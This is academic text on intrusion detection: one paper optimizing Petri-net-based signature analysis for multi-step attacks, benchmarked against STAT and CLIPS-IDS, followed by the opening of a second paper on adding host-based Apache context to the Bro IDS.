operating system and application executions. Host-based audit data are qualitatively 
better suited for intrusion recognition. On the other hand, host-based auditing requires 
the configuration of each individual host in the protected environment. The efficiency 
of the hosts is impaired by the event logging. Net-based intrusion detection systems 
instead can be less costly installed at central place of the protected net without 
influencing the efficiency of the end systems. Due to the comparatively good 
recognition accuracy, the simplicity of analysis methods as well as the easy 
installation and configuration, network-based single step intrusion detection systems 
are the most popular and commonly used approach at present. An example of such a 
system is the open source system SNORT [1]. 

A challenge that all intrusion detection systems are facing is the increasing 
performance of both networks and end systems. This leads to a rapid increase of the 
audit data volumes which have to be analyzed. In addition, the growing complexity of 
the IT-systems results in new vulnerabilities and offers other ways for new attacks so 
that the number of signatures to be analyzed increases as well. As a consequence the 
efficiency of the deployed analysis methods applied in intrusion detection systems 
becomes more important. Already today log data are rejected by intrusion detection 
systems in high load situations or the recognition of security violations is significantly 
delayed, respectively.  Thus countermeasures become impossible. 

To cope with this situation several approaches have been proposed, e.g. the 
detection of intrusions based on an analysis of more compact, less detailed network 
log data [3, 4]. NETFLOWS [2] is an example for such an approach. Moreover, 
different optimized analyzing methods for signature-based and network-based single 
step intrusion detection systems have been developed. In [5] such an approach for the 
SNORT IDS is described which transforms signatures into a decision tree thus 
reducing the number of redundant comparisons during analysis. Optimized string 
matching algorithms are proposed and implemented in [6]. So far, however, little 
attention has been paid to the optimization of analysis methods for multi step attacks. 
In this paper we propose optimization strategies for the analysis of multi step attacks 
which exploit structural characteristics of signatures. The remainder of the paper is 
structured as follows. In Section 2 we outline an approach for the modeling and 
description of complex multi step signatures. This model forms the basis for further 
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considerations on signature characteristics for optimized analysis techniques. Section 
3 discusses existing analysis approaches for multi step intrusion detection systems. 
Section 4 presents different optimization strategies for these analysis methods. 
Section 5 presents results of run-time measurements and compares the proposed 
optimizations with existing techniques. Some final remarks conclude the paper. 

2   Modeling Complex Signatures 

For an ongoing security violation, the consecutively generated audit data represent the 
manifestation (traces) of the attack. The signature of an attack describes the criteria 
(pattern) used to identify the manifestation of the attack in the audit data stream. It is 
possible that several attacks of the same type independently progress simultaneously, 
e.g. if several attackers run the same attack in parallel. Therefore it is necessary to dif-
ferentiate between single instances of an attack whose manifestations differ in the 
particular features e.g. the user name. A signature instance describes the set of criteria 
which unambiguously identify the manifestation of an attack instance in the audit data 
stream. 

In the context of complex, multi step attacks it is necessary to describe several 
semantic aspects of signatures. A detailed discussion of the different semantic aspects 
of signature can be found in [7]. A modeling approach based on high-level Petri-nets 
has proved to be helpful for modeling complex signatures [8]. Based on positive 
experiences with this modeling approach the signature specification language EDL 
(Event Description Language) has been developed. EDL is based on the Petri-net like 
modeling approach and supports the specification of all semantic aspects of signatures 
identified in [7]. In the following we give an overview of the basic concepts of EDL 
that are necessary for the later discussion. A detailed description of EDL can be found 
in [9]. 

2.1   Modeling Constructs of EDL 

Descriptions of signatures in EDL consist of places and transitions which are 
connected with directed edges. Places represent different states of a system which are 
traversed by the corresponding attack. Transitions represent the state changes and 
describe the specific events which cause a state change, e.g. security relevant actions. 
These events correspond to the audit records generated during the attack. Each place 
is connected with at least one transition and each transition with at least one place by 
a directed edge. Places with an edge leading to a transition t represent the input places 
of this transition t. Places with an incoming edge from a transition t are output places 
of t. Tokens are the dynamic elements in EDL-signatures. Tokens represent concrete 
signature instances. Like colored Petri-nets token can be labeled with values. 

2.2   Places 

The places of a signature describe the system states of an attack that are relevant for 
its detection. A place presents a snapshot of the system. Places are characterized by a 
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set of features and a place type. Features specify the properties of the tokens which 
are located on this place. The information contained in a token can change from place 
to place. 

EDL distinguishes between the four place types: initial, interior, escape and exit 
places. Initial places are the starting places of a signature. They are marked with an 
initial token at the start of analysis and do not have any features. Each signature has 
exactly one exit place which describes the final place of signature. If a token reaches 
this place, then the signature has identified a manifestation of a corresponding attack 
in the audit data stream. Escape places indicate the abort of the analysis of an attack 
instance. They are reached if events occur which make the completion of the attack 
instance impossible. Escape places have no features. Tokens which reach these places 
are deleted. Interior places describe intermediate places passed on the way from the 
initial places to the exit place. Like exit places interior place can have several features. 

Figure 1 shows a simple example with a signature of four places P1 to P4. P1 is the 
initial place that does not contain feature definitions, i.e. the token at P1 has no value. 
Place P2 defines the feature UserID which is of data type integer. The two token at P2 
contain different value assignments for the feature UserID. One token has the value 
1066, the other one the value 1080. Place P3 defines two features. The associated 
tokens on P3 hold the shown value assignments. Exit place P4 has the features 
OpenFile and TimeStamp. For the token at P4, the features are assigned with the 
values ".mail" and 1091. 

 

Fig. 1. Features and places 

Feature definitions by places: 

T1 P3 P4 P1 T3

Initial place 

Interior place 

Exit place 

Escape place 

Transition 

empty Int UserID 

P2 T2

Int UserID, 
Int ProcessID 

String OpenFile, 
Int TimeStamp 

 
 

 
 

Value assignments by token: 

 
UserID=1066 

UserID=1080 

UserID=1066 
ProcessID=12 

UserID=1080 
ProcessID=9 

OpenFile=".mail" 
TimeStamp=1091 

Token 
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2.3   Transitions 

Transitions represent events, which trigger state changes of signature instances. A 
transition is characterized by input places, output places, event type, conditions, 
feature mappings, consumption mode and actions. The input places of a transition 
describe the required state of the system before the transition can fire. The output 
places characterize the adjusted system state after the transition has fired. A change 
between system states requires a security relevant event. Therefore each transition is 
associated with an event type. Furthermore, a system change can require additional 
conditions. Conditions can specify that certain features of the event (e.g. user name) 
are assigned with particular values (e.g. root). Conditions can require distinct 
relationships between event and token features on input places (e.g. same values).  

If a transition fires tokens on the transition's output places are created. These 
tokens describe the new system state. To assign values to the features of the new 
tokens on output places the transitions contain feature mappings. These are simple 
assignments or complex expressions which can be parameterized with constants, 
references to event features or references to input place features. 

The consumption mode (cp. [7]) of a transition controls whether tokens that 
activate the transition remain on the input places after the transition fired. This mode 
can be individually defined for each input place. The consumption mode can be 
considered as a property of a connecting edge between input place and transition. If a 
transition defined as consuming related to an input place fires, then the token which 
activates the transition on this place is deleted. The token remains if the transition is 
defined as non consuming regarding to this place. Actions can be assigned to a 
transition. They are executed when the transition fires. Typical actions are the 
generation of warning messages or the initiation of counter measures.  

 

Fig. 2. Transition properties 

... 

Place features: 

Interior place Non-consuming 

T1

E

P1 P2

Int UserID, 
String Name 

Conditions: 
 Type == FileCreate, 

P1.UserID == EUserID 
Feature Mappings: 
 [P2].UserID := P1.UserID, 

[P2].Name := EName 
Actions: 
 Warn(“File created by”, P1.UserID) 

Int Type, 
Int EUserID, 
String EName 

+Consuming -

.

E T1 Transition T1 with the associated event type E 

Int UserID 
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Figure 2 illustrates the properties of a transition. The transition T1 contains two 
conditions. The first condition requires that feature Type of event E contains the value 
FileCreate. The second condition compares feature UserID of input place P1, 
referenced by “P1.UserID”, and feature EUserID of event type E referenced by 
“EUserID”. This condition demands that the value of feature UserID of tokens on 
input place P1 equals the value of event feature EUserID. Transition T1 contains two 
feature mappings. The first one assigns the feature UserID of the new token on the 
output place P2 with the value of the homonymous feature of the transition activating 
token on place P1. The second one maps the feature Name from the new token on 
place P2 to event feature EName of the transition triggering event of type E. The 
transition includes an action: a parameterized call of function "Warn". 

3   Existing Analysis Techniques 

Existing analyzing techniques can be roughly divided in two categories: (1) 
techniques which compile signature descriptions in separate program modules and (2) 
methods that use standard expert systems. 

3.1   Program Modules for Signature Analysis 

Representatives of this category are the STAT tool suite [10] and the IDIOT intrusion 
detection system [11]. STAT uses the state transition based signature specification 
language STATL [12] for the description of signatures. In IDIOT signatures are 
specified as colored Petri-net automata. Both systems provide a compiler that 
translates the signature specifications into C++ class modules. For each signature, a 
separate class is generated and compiled in a shared library. Both systems organize 
the signature libraries in an internal list. At run-time each single audit data records is 
passed to each signature library which analyzes this record according to the various 
criteria. The consideration of this basic principle already shows that all signatures and 
signature instances are analyzed independently. Due to the lack of exploitations of 
existing redundancies the efficiency of this approach is arguable. 

3.2   Expert Based Signature Analysis 

A key characteristic of expert systems is the separation between application specific 
knowledge and the general problem solution strategy. Application specific knowledge 
is described in terms of rules which are applied to the facts in the working memory of 
the expert system. The problem solution is implemented by the given inference 
procedures. Due to this separation expert systems are flexibly applicable and easily 
extendable (cp. [13]). Examples for systems of this category are the intrusion 
detection systems EMERALD [14], CMDS [15] and AID [16]. EMERALD is based 
on the expert system shell P-Best [17] and CMDS uses the expert system CLIPS [18]. 
AID was implemented using the commercial expert system shell RT-Works [19]. The 
advantage of the expert system approach is its simple implementation and the use of 
optimized inference algorithms. Signatures for these systems can be directly described 
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as rules or can be translated into rules from respective signature specification 
languages. 

Analysis procedures that exploit EDL signature structures are introduced and 
discussed in the next section. In order to allow a comparison of these procedures with 
rule-based expert system algorithms, we outline a possible mapping of EDL 
signatures to expert system rules in the following. A detailed description can be found 
in [20]. The facts of the working memory represent the currently analyzed audit 
record and the existing tokens and signature instances as well. Transitions are mapped 
onto rules. A rule consists of an IF- and a THEN-part. The IF-part verifies the 
preconditions of a transition. It checks the presence of the required tokens and 
whether the current audit record matches as well as all conditions of the respective 
transition. In the THEN-Part the related actions are performed and tokens are 
changed, created, or deleted. Places are represented as features of the tokens. Thus the 
movement of a token is realized by assigning the corresponding feature in the token 
fact with the new place name. 

The analysis cycle of a system looks in a simplified manner as follows: insert the 
actual audit record as fact in the working memory, examine all rules, and perform 
them if required. Then replace the current audit record by the next one and examine 
all rules again etc. 

Expert systems use optimized matching algorithms. The most well-known and 
usually deployed one is the RETE-algorithm [21]. It is based on two main concepts: 
Avoidance of iterating over the set of rules and avoidance of iterating over the 
working memory. The former concept is based on the observation that an expert 
system needs the largest part of its run-time to examine the rule conditions. The 
optimization is realized by organizing the rule conditions in a data flow graph, the so-
called RETE-network. Thus conditions or parts of conditions which are contained in 
several rules are not evaluated repeatedly. This technique is comparable with common 
sub expression elimination [22], a well-known compiler construction principle. The 
second optimization concept is based on the assumption that fact changes in the 
working memory are rare. This is exploited by storing facts at condition nodes in the 
RETE-network. Each condition node stores the facts that satisfy the node’s condition. 
During analysis run-time only changed facts have to be examined. The cost of this 
approach is reflected in the need to delete facts from the RETE-network if they are 
removed from the working memory. To delete a fact from the RETE-network first all 
condition nodes containing the fact need to be identified. This requires to reexamine 
the conditions regarding the fact be deleted. 

While the second assumption has proved usefully in many classical expert system 
applications and brought significant performance improvements, the validity of this 
assumption in the context of signature based intrusion detection seems to be doubtful, 
since audit record facts are changed in each analysis cycle. That means, the old fact is 
deleted and the new one is inserted. Another important characteristic of signature ana-
lysis is the fact that each rule contains at least one condition that refers to features of 
the audit record fact (because the rule represents a transition). This raises the question 
whether the cost exceeds the benefits of the RETE-algorithm. This motivated us to 
look for dedicated optimizations for signature analysis systems and to compare them 
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in a first step experimentally with expert system based systems. During the experi-
ments we used CLIPS-IDS [20] as representative of expert system based IDSs. This 
system uses the expert system shell CLIPS [18] which deploys the RETE algorithm. 

4   Optimizing Signature Analyzing Strategies 

In this section we present five different optimization strategies which gain perfor-
mance improvements by exploiting structural characteristics of signatures. To intro-
duce the optimizations we first explain a naive analysis procedure that is then exten-
ded step by step. 

A naive analysis procedure for signature-based intrusion detection checks all 
transitions of all signatures for each incoming event X. First for each transition is 
tested whether the type of X matches the transition type. Subsequently all transition 
conditions are evaluated for each combination of tokens on the transition’s input 
places and of event X. In the course of time the number of tokens representing 
uncompleted signature instances increases. As consequence the performance cost for 
analyzing an event increases too, because of the growing number of token 
combinations that have to be examined. 

4.1   Strategy 1: Type Based Transition Indexing 

For each occurring event, it has to be examined for each specified transitions whether 
the type of the arising event matches the event type of the transition. These 
examinations can be avoided, if a table is used in which each event type is mapped to 
the set of transitions that are associated with this event type. Instead of examining all 
transitions, using this table the set of transitions associated with a particular event 
type can be determined in constant time. Only these transitions have to be checked 
further regarding this event. 

4.2   Strategy 2: Instance Independent Condition Testing 

A transition can fire if all conditions assigned to this transition are fulfilled. The con-
ditions can be divided in two classes: intra- and inter-event conditions. Intra-event 
conditions (e.g. the first condition in Figure 2) are Boolean formulas with atoms 
representing comparisons between event features and constants. They can be 
evaluated by merely inspecting some features of the event activating the transition. 
Inter-event conditions (e.g. the second condition in Figure 2) are Boolean formulas 
consisting of atoms representing comparisons between event features and token 
features. Accordingly intra-event conditions can be analyzed independently of the 
tokens on input places of the transition. Therefore it is sufficient to check the intra-
event conditions of the transition only once for a given event. Only if these conditions 
are fulfilled the inter-event conditions have to be evaluated for all combinations of 
tokens on the input places.  
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4.3   Strategy 3: Value Based Indexing of Tokens 

If a transition is activated according to strategy 1 or 2, then all token combinations on 
the input places have to be examined to identify the combinations that satisfy all inter-
event conditions. By using value tables and exploiting comparison operations of inter-
event conditions, the number of token combinations that have to be analyzed can be 
reduced. A value table is a mapping of values of a place feature into a set of tokens. 
Thus for a particular feature value it can be determined in constant time which tokens 
on a place have assigned this value to the respective feature. For example, if an inter-
event condition requires the values of event feature A and feature B of a token on 
input place P to be equal, then a single lookup for the value of A in B’s value table 
selects the set X of all tokens satisfying this condition. If another condition requires an 
event feature and a feature C of place P to be equal, again a single lookup in C’s table 
chooses/picks the set Y of all tokens fulfilling the condition. The intersection of the 
sets X and Y contains all potentially releasable tokens on place P. Using this 
procedure based on comparisons the set of satisfying tokens can be determined very 
efficiently. Note that this method is not limited to comparisons using the equal 
operator, but can be used for other comparison operations as well. This requires a 
sorted storage of the key values in the value tables and efficient mechanisms for 
selecting value ranges. 

The described method can be also applied to comparisons between different place 
features. Figure 3 illustrates this application. In this example a condition requires the 
value of feature UserID of place P and the value of feature Owner of place Q to be 
equal. Further P.Host == Q.Host is demanded. 

 

Fig. 3. Value based token indexing 
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The feature values of the tokens and the value tables are shown in the Figure 3. 
Because of the first condition for each key value in table P.UserID a lookup in table 
Q.Owner is performed. All values in table P.UserID that are also contained in table 
Q.Owner get marked. Each value in a table is assigned to a set of tokens that hold this 
value in the respective feature (e.g. value 108 is assigned to {1} on place P and {3, 5} 
on place Q). Subsequently all token sets on a place that are assigned to marked values 
are united. This results in sets {1} for P and {3,5} for Q. Applying the same 
procedure to the second condition results in the token sets {1} for P and {3, 4} for Q. 

Next the intersections PS (resp. QS) of the two token sets for place P (resp. Q) are 
calculated. All tokens on place P (resp. Q) that are not in PS (resp. QS) do not satisfy 
the considered inter-event conditions. 

This strategy prevents iteration over all possible token combinations. Starting from 
the specified comparison conditions the matching token combinations are efficiently 
determined. Only these combinations have to be examined regarding the other 
condition. 

4.4   Strategy 4: Identification of Common Sub-expressions 

While analyzing an event the conditions of the transitions are evaluated. Different 
transitions can contain identical expressions or identical parts of expressions (com-
mon sub expressions) in their condition block. To avoid a repeated evaluation of ex-
pressions common expressions are identified. Common expressions of intra-event 
conditions are evaluated only once for all transitions. Similarly multiple expressions 
in inter-event conditions of a transition are calculated only once, but expressions that 
are common to inter-event conditions of several transitions are evaluated for each of 
these transitions. Evaluation results of the common expressions are stored and (re-) 
used if an identical expression is examined again. The stored values from intra-event 
conditions remain valid for the period of processing a single event. Whereas the vali-
dity period of evaluation results of inter-event conditions is limited to a token combin-
ation, because other token combinations can represent other value assignments. 

The expressions have to be transformed into syntactically equivalent representa-
tions to identify the common expressions within conditions. This is necessary,  
because often semantically identical expressions have different syntactical representa-
tions. Standard techniques for identifying common sub-expressions are discussed  
in [22]. 

4.5   Strategy 5: Cost-Based Prioritization of Conditions 

From the high number of the monitored events which have to be analyzed typically 
only a small fraction triggers a transition. The conditions of a transition are mostly 
evaluated negatively. Consequently the order of the condition examination should be 
optimized for failure. In doing so the sub-expressions with a small run-time should be 
evaluated before the costly sub-expressions (e.g. string comparisons), so that 
evaluation of costly sub-expressions can be avoided if not required. 

Conditions can be prioritized statically or dynamically. Static prioritization 
categorizes conditions based on run-time estimations of the used comparison 
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operations. Dynamic condition prioritization is based on the assumption that the 
monitored events strongly depend on the user activities on the monitored system. The 
event types and value ranges of the event features are indirectly determined by the 
user activities. Consequently, depending from prevailing user activities several 
conditions are more likely satisfied than others. Further the value assignments of the 
occurring events effect the evaluation time of complex expressions. To adapt the 
analysis to these circumstances the real evaluation time and the negative ratio of the 
conditions are logged in distinct time intervals. The quotient of the evaluation time 
and negative ratio of a condition leads to a false statistic value. This measure indicates 
how efficiently the condition rejects an event or a token combination and is used for 
the prioritization of the conditions. The analysis is adapted to the current system 
behavior by the actualization of this measure. 

5   Run-Time Measurements 

In order to get an impression of the extent of the attainable performance improvement 
by the presented optimization strategies a prototype implementation, called SAM 
(signature analysis module), was carried out and used for performance measurements. 
Multiple versions of different strategy combinations were implemented. In this 
section we discuss the measured run-times of the presented optimization strategies. 
Furthermore, a SAM version which combines all strategies is compared with the 
analysis tools STAT and CLIPS-IDS. First the test environment is specified. 

5.1   Test Environment 

In our test scenarios the following attacks were used: a Shell-link-attack, a SUID-
script-attack, and a Login-attack. For each attack, semantically equivalent signatures 
for each analysis tool were applied. We first give a short introduction to these attacks. 
After that we discuss the respective EDL signatures. 

Shell-link-attack: This attack exploits a special shell feature and the SUID 
mechanism. If a link to a shell script is created and the link name starts with "-", then 
it is possible to create an interactive shell by calling the link. In old shell versions 
regular users could create an appropriate link which points to a SUID-shell-script and 
produce an interactive shell. This shell runs with the privileges of the shell-script 
owner (maybe root). Figure 4 depicts the respective EDL-signature. 

SUID-script-attack: This attack exploits particular settings of the environment 
variable PATH and the SUID mechanism. A user can define a search path for 
executable files by configuring the PATH variable. To successfully perform this 
attack the following preconditions are required. The PATH variable contains a 
directory (Dir) at the beginning that can be written by the attacker. Further there is a 
SUID-shell-script owned by root (Script) which calls a command (Cmd) without 
using the complete path of Cmd. If these conditions are fulfilled then the adversary 
can create a program homonymous to Cmd in directory Dir that is called whenever 
Script is executed. Since Script runs with root privileges the program created by the 
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adversary is also executed with root permissions. Figure 5 shows the schematic EDL-
signature for this attack. 

 

Fig. 4. Simplified1 EDL-signature of the Shell-link-attack 

 

Fig. 5. Simplified EDL-signature for the SUID-script-attack 
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detecting three incorrect login attempts within 60 seconds the likelihood of such an 
attack is high. The respective EDL-signature for this attack is sketched in Figure 6. 

These three attacks were successively executed and logged to an audit trail. In 
order to increase the complexity of the test the audit trail was copied 10.000 times. 
Further log entries of the attacks were decoupled from each other by uniquely 
renaming involved file names, path names, and user identifiers. These audit trails 
were assembled to one trail. The resulting audit trail contains log entries representing 
10.000 independent attacks. Each single attack results in at least one signature 
instance which has to be considered during the further analysis. The audit trail 
contains 110.000 basic events which have to be analyzed by the test candidates. This 
test scenario represents a worst case scenario which will rarely occur in reality. 
However, this audit trail allows a comparative evaluation of the performance of the 
test candidates in high load situations. 

 

Fig. 6. Simplified EDL-signature of the Login-attack 
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The performance increase of the first strategy (SAM_1) cannot be shown due to the 
homogeneity of the audit data (only one event type). The combination of the 
strategies 1 and 2 (SAM_2) shows a substantial performance improvement compared 
to SAM_1. This can be explained by the reduction of the number of conditions to be 
analyzed, because intra event conditions are examined only once for each transition. 
Furthermore, token combinations on input places of transitions, which are selected as 
irrelevant due to failed intra-event conditions, are not analyzed. The inclusion of the 
strategy 4 (SAM_3) shows only a slight efficiency gain compared to SAM_2. This is 
caused by strategy 2. The separation between intra- and inter-event conditions reduces 
the number of common expressions. Moreover, most common expressions are located 
in intra-event conditions, but due to strategy 2 these conditions are evaluated only 
once per transition. 
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Fig. 7. Comparison of the optimization strategies 

When strategy 3 is used additionally (SAM_4), a linear run-time behavior is 
reached. This can be traced back to the value-based token indexing. By the 
exploration of the demanded equality conditions of the transitions, the number of 
token combinations on the input places of a transition, which have to be analyzed, can 
be always reduced to exactly one potentially useful combination. The static version of 
strategy 5 is implemented in SAM_5, while SAM_6 implements the dynamic 
condition prioritization. Both indicate a clear performance gain compared to SAM_4. 
The diagram also shows that dynamic condition prioritization adapts substantially 
better to the current analysis situation and improves the performance in spite of 
additional costs caused by periodic measurements and condition re-arrangements. 

In order to understand the effects of each optimization strategy in more detail we 
collected additional data during the experiments. Table 2 shows for each SAM 
version the number of transition conditions examined when analyzing the first 20.000 
events of the test audit trail. The intra- and inter-event-conditions are separately 
shown. Furthermore, the cumulated evaluation times of the conditions are given in 
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CPU-ticks (measured with RDTSC [23]). Due to the separation between intra- and 
inter-event-conditions (SAM_2) the total number of checked conditions could be 
reduced by 90 per cent in comparison to SAM_1. The additional employment of 
strategy 4 (SAM_3) did not reduce the number of evaluated conditions, but decreased 
the evaluation time. As already explained, especially for intra-event conditions 
efficiency improvements can be reached using this strategy. Strategy 3 (SAM_4) 
reduces the number of token combinations which have to be tested. Consequently the 
number of checked inter-event conditions sinks from 11.806.964 to 36.329.  
A contrary effect can be observed for the intra-event conditions when static condition 
prioritization (SAM_5) is deployed. Here the number of examined intra-event 
conditions increases in comparison to SAM_4 due to the modified condition 
evaluation order, but the required evaluation time decreases. By deploying dynamic 
prioritization (SAM_6) the evaluation time of the intra-event conditions is further 
reduced, because SAM_6 considers the real condition evaluation times as well as side 
effects of the strategy 4. Table 2 shows that the static and the dynamic condition prio-
ritization had no effect on inter-event conditions. The reason for this is that the signa-
tures used in the test do not possess the structural characteristic that is exploited by 
these strategies. The result of strategy 3 already contains only token combinations that 
satisfy all inter-event conditions. Since none of these conditions were evaluated false, 
the evaluation order has no effect. 

Table 2. Number of checked conditions for 20.000 events 

SAM 
version 

total run-
time for the 
Analysis in 

seconds 

total number 
of checked 
conditions 

Number of 
checked 

Intra-event 
conditions 

Run-time for all 
checked Intra-

event conditions 
in ticks 

Number of 
checked Inter-

event 
Conditions 

Run-time for all 
checked Inter-

event conditions 
in ticks 

SAM_6 7,88 346.370 310.041 388.641.204 36.329 75.867.025 
SAM_5 8,98 511.191 474.862 428.167.261 36.329 75.837.252 
SAM_4 9,12 340.868 304.539 445.889.711 36.329 75.830.533 
SAM_3 74,80 12.111.503 304.539 586.452.012 11.806.964 10.153.721.838 
SAM_2 74,64 12.111.503 304.539 1.166.863.394 11.806.964 10.707.403.379 
SAM_1 528,19 123.536.189 - - 123.536.189 39.973.974.649 

Now we compare SAM_6 with STAT and CLIPS-IDS. The test environment for 
STAT consists of a host with 2 UltraSPARC-III+ (900 MHz) CPUs and 4GB main 
storage. CLIPS-IDS was measured on the same host as the SAM versions. To 
compare these measurements instead of absolute run-times the changes of the run-
time for a growing number of already analyzed events is used. Every 1.000 events the 
consumed run-time was logged, i.e. it was measured how much time was needed for 
the analysis of the events 1 - 1.000, 1.001 - 2.000, 2.001 - 3.000, and so on. Figure 8 
illustrates the increase of the determined run-times. On the abscissa the number of 
analyzed audit events is shown in thousands. The ordinate illustrates the run-time 
changes for the analysis of 1.000 events. For example, STAT needs approximately 
five times more time for analysis of the events 20.001-21.000 as for the events 1 - 
1.000. Behind the names of the test candidates the absolute run-time required for the 
processing of all 110.000 events is denoted. 
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The run-time complexity behavior of STAT polynomially depends on the number 
of analyzed events. This is the result of the instance-independent analysis 
methodology. At this the number of instances, which have to be tested, increases with 
the rising number of events. STAT exploits neither structural characteristics of 
signatures nor relationships between signature instances during the analysis. In 
contrast CLIPS-IDS as representative for expert systems shows a smaller increase. 
This is due to the used Rete algorithm. Here instances are also tested independently, 
but identical conditions or condition fragments are evaluated only once. SAM offers a 
clearly more efficient performance compared to STAT and CLIPS-IDS and shows a 
constant analysis complexity with rising input data. 
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SAM_6 51 seconds
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Fig. 8. Increase of the run-times in comparision 

Table 3. Memory usage by the test candidates 

Test candidate Main memory usage 

SAM 36 MB 

CLIPS-IDS 58 MB 

STAT 638 MB 

In order to examine to what extent the performance improvements of SAM are paid 
by an exceeding memory usage, the memory usages of the test candidates are 
recorded during the analysis. Indeed the memory needed by SAM increases due to the 
growing value tables with the number of analyzed events, but it remained clearly 
lower than the values of CLIPS-IDS and STAT during the entire test. The peaks of 
the monitored values are shown in Table 3. 
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6   Final Remarks 

The increasing performance of IT-systems which leads to a rapid growth of audit data 
volumes as well as an enlarging number of signatures are a great challenge for 
signature based intrusion detection systems. Currently deployed systems reach 
thereby the boundaries of their capability. Some research to improve the efficiency of 
methods to detect simple structured security violation has been done already. Only 
little attention has been paid to the optimization of systems for detecting complex 
attacks up to now. This paper outlined existing analysis methods in this area and 
discussed the efficiency of these approaches. Further we proposed a number of 
optimization strategies to reduce the analysis run-time. Starting from Petri net based 
modeling of attack signatures we observed several structural properties of signatures 
that can be exploited to speed up the detection process. This includes the avoidance of 
redundant evaluations of conditions by identifying common expression as well as the 
separation between intra- and inter-event conditions. Furthermore, matching signature 
instances can be efficiently identified based on comparison operations of inter-event-
conditions by indexing existing signature instances using the values of their features. 
The analysis efficiency can be improved by controlling the evaluation order of 
conditions. The prototype implementation SAM of the proposed optimizations was 
used to experimentally examine the attainable performance improvements. Further we 
compared SAM with currently used analysis tools and observed that SAM requires 
significantly lower run-times. 
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Abstract. In the recent past, both network- and host-based approaches
to intrusion detection have received much attention in the network se-
curity community. No approach, taken exclusively, provides a satisfac-
tory solution: network-based systems are prone to evasion, while host-
based solutions suffer from scalability and maintenance problems. In this
paper we present an integrated approach, leveraging the best of both
worlds: we preserve the advantages of network-based detection, but al-
leviate its weaknesses by improving the accuracy of the traffic analysis
with specific host-based context. Our framework preserves a separation
of policy from mechanism, is highly configurable and more flexible than
sensor/manager-based architectures, and imposes a low overhead on the
involved end hosts. We include a case study of our approach for a no-
toriously hard problem for purely network-based systems: the correct
processing of HTTP requests.

1 Introduction

In recent years, intrusion detection systems (IDSs) have become a central com-
ponent in the tool chest of security analysts. Assuming proper maintenance and
attention, IDSs provide essential information for the investigation of user activ-
ity, both in real-time and for post-incident forensics. Traditionally, one dimen-
sion along which IDSs have been classified is their vantage point : network-based
systems (NIDSs) benefit from their wide field of vision, but suffer from both
ambiguity in their observations [1] and challenging performance requirements.
Host-based systems (HIDSs) solve the ambiguity problem, but often impose a
significant performance overhead on executing processes and monitor individual
hosts only. A number of solutions have been proposed to improve the accuracy of
the network-based analysis process and to reduce the ambiguity problem [2, 3].
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Furthermore, a number of distributed approaches have been proposed for im-
proving the coverage of activity throughout the network (e.g., [4, 5, 6]). How-
ever, widespread adoption of such systems has not occurred. Despite well-known
shortcomings, most systems deployed today still operate in a network-based and
centralized fashion. The reasons are manifold and include ease of maintenance
of a single device, potentially high coverage from a single point of view, and ease
of deployment.

In this paper, we acknowledge this situation and present an architecture
based on the Bro IDS [7] that remains faithful to its primarily network-based
approach, while improving its accuracy by providing host-based context where
it matters most in the analysis process. Our architecture allows for a gradual
transition toward more distributed detection. We improve Bro’s field of vision
by augmenting its mechanism without sacrificing flexibility at the policy level:
we integrate host-based components by allowing them to send and receive Bro
events, the building blocks of the analysis policy in Bro deployments. We fo-
cus our attention on crucial and frequently exploited services that typically run
on only a handful of machines. Compared to the usual host-based paradigm of
performing all analysis on the end host itself, our solution incurs very modest
performance and maintenance overhead on the end hosts because the actual anal-
ysis work is performed not by it but on a different system. From the perspective
of the NIDS, our approach trades off an additional burden of communicating
with the end systems for potentially saving a considerable number of cycles in
the analysis process by obviating the need for costly NIDS processing to resolve
ambiguity. A key question for the approach is to what degree this tradeoff of in-
creased communication for decreased processing is a net gain. As we will show,
this is indeed generally a significant win.

We note that the idea of leveraging host-based context in network-based
IDSs is not itself novel [8, 9]. The contributions of our work are twofold: first, we
move the idea forward by tightly integrating it with the well-established policy-
driven approach of the Bro system. Second, we identify novel ways of leveraging
the context provided by similar processing stages in the NIDS and host-based
applications. In a detailed case study, we instrument the Apache web server
with an interface to Bro. To demonstrate the feasibility of the architecture, we
deploy such a setup in two production environments. Additionally, we examine
the effectiveness of our multi-point analysis approach in a testbed by launching
a large number of scripted attacks against the web server.

In the remainder of this paper we first recapitulate Bro’s architecture in Sec-
tion 2, including an overview of the recent addition of a communication frame-
work to the system. We then discuss the benefits of including host-supplied
context in Section 3. In Section 4 we conduct a case study: we instrument the
Apache web server to supply information to concurrently executing Bros. Sec-
tion 5 presents our experiences with instrumented Apaches in a test-lab installa-
tion as well as in two productional environments. We summarize the paper and
point out future work in Section 6.
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2 Bro: A Distributed Event-Based Intrusion Detection
System

Bro’s architecture has remained faithful to the original philosophy developed
in the original paper [7]; we briefly summarize it below. A significant recent
improvement has been the introduction of a communications framework as the
basis of a more powerful event model suitable for distributed event communica-
tion [10, 11]. We summarize the architecture’s key elements here in condensed
form to put in context our integration of host-supplied context. Figure 1 illus-
trates Bro’s architecture.

2.1 Separation of Mechanism from Policy

A core idea of Bro is to split event detection mechanisms from event processing
policies. Event generation is performed by analyzers in Bro’s core: these ana-
lyzers operate continuously based on input observed by Bro instances and trig-
ger events asynchronously when corresponding activity is observed. Bro’s core
contains analyzers for a wide range of network protocols such as RPC, FTP,
HTTP, ICMP, SMTP, TCP, UDP, and others. These analyzers are connection-
oriented: they associate state with connections observed on the network and
trigger events whenever interesting protocol activity is encountered.1 Examples
include the establishment of a new TCP connection or an HTTP request. Bro
also provides a signature engine for typical misuse-based intrusion detection: it
matches byte string signatures against traffic flows and triggers events when-
ever a signature matches [12]. Once an event is triggered, the engine passes
it to the policy layer, which then takes care of processing the event, possibly
triggering new ones. The design takes care to minimize CPU load: only ana-
lyzers responsible for triggering the events used at the policy layer are actually
enabled.

2.2 Policy Configuration

Each Bro peer runs a policy configuration in its policy layer. This policy embod-
ies the site’s security policy, expressed in scripts containing statements in the
special-purpose Bro scripting language. To understand the significance of this
approach it is important to realize that the relevance of an event varies from
site to site. A very simple example is that some sites may consider the detec-
tion of a Microsoft IIS exploit attempt on a pure UNIX network a threat, while
others may not; much more detailed, subtle, and contextual policy distinctions
are not only supported but often seen in operational use. Bro’s policy language
is strongly typed, procedural in style, and provides a wide range of elementary
data types to facilitate the analysis of activity on a network.

1 Bro’s concept of a connection is protocol-dependent; for connectionless protocols,
such as UDP, a connection is defined as a bidirectional flow that shares the same
endpoint addresses and ports and is terminated upon an inactivity timeout.



Enhancing the Accuracy of Network-Based Intrusion Detection 209

Bro IDS

Policy Layer

Core

Policy Script Interpreter

Event Engine

Network Analysis Peer
Communication I/OTCPUDP HTTP Signature Engine...

Login Policy Scan Detector . . . Worm Detector

Network

